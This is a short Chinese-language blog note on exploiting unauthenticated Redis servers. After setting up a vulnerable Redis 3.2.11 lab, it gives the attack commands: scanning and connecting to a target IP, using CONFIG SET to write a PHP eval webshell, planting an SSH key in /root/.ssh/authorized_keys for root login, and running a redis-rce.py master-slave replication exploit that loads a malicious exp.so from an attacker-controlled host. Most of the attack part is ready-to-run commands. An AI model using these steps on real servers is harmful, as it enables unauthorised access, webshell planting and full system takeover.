redis未授權訪問簡單總結
- 2020 年 7 月 15 日
- 筆記
redis環境搭建
下載有漏洞的redis版本
wget //download.redis.io/releases/redis-3.2.11.tar.gz
編譯文件
make
進入src目錄,拷貝兩個啟動文件到/usr/bin/,返回上一級並拷貝redis.conf
到etc目錄
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
cp redis.conf /etc/
編輯/etc/redis.conf
文件取消本地IP訪問綁定,並關閉保護模式,允許遠程連接redis服務
使用redis-server /etc/redis.conf
啟動redis服務
攻擊機直接下載redis拷貝文件即可
漏洞利用
使用namp檢測遠程主機redis開放情況
nmap -A -p 6379 --script redis-info 94.191.84.130
直接嘗試登錄redis
redis-cli -h 94.191.84.130
使用info查看信息
低權限寫文件(需要有增刪改查權限)
設置備份目錄
CONFIG SET dir /tmp
設置文件名
CONFIG SET dbfilename webshell.php
向備份文件中寫入一句話
CONFIG SET webshell "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
保存
save
利用”公私鑰”認證獲取root權限,ssh免密登陸目標服務器
- 生成公私鑰並導出公鑰為txt格式
- 寫入公鑰到redis
- 連接目標redis服務
- 設置備份目錄為SSH公鑰存放路徑/root/.ssh
- 設置備份文件名
- 保存備份(寫入公鑰)
- 免密ssh登陸
生成公私鑰
ssh-keygen -t rsa
導出公鑰為txt格式
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
寫入redis緩存
cat 1.txt | redis-cli -h 94.191.84.130 -x set crack
連接redis查看並設置備份目錄
redis-cli -h 94.191.84.130
CONFIG GET dir
CONFIG SET dir /root/.ssh
設置備份文件名並保存備份文件
CONFIG set dbfilename authorized_keys
save
使用私鑰免密登陸ssh
ssh -i id_rsa [email protected]
Redis 基於主從複製的 RCE 利用方式
1 . 連接遠程未授權redis服務器
2 .設置主服務器為自己服務器
3.Redis的主機實例通過FULLRESYNC(全量複製)同步文件到從機上
4.然後在從機上加載so文件
5.直接執行惡意命令
先本地開啟一個redis>4.0的版本,然後執行
python3.7 redis-rce.py -r free.idcfengye.com -p 10407 -L 94.191.84.130 -f exp.so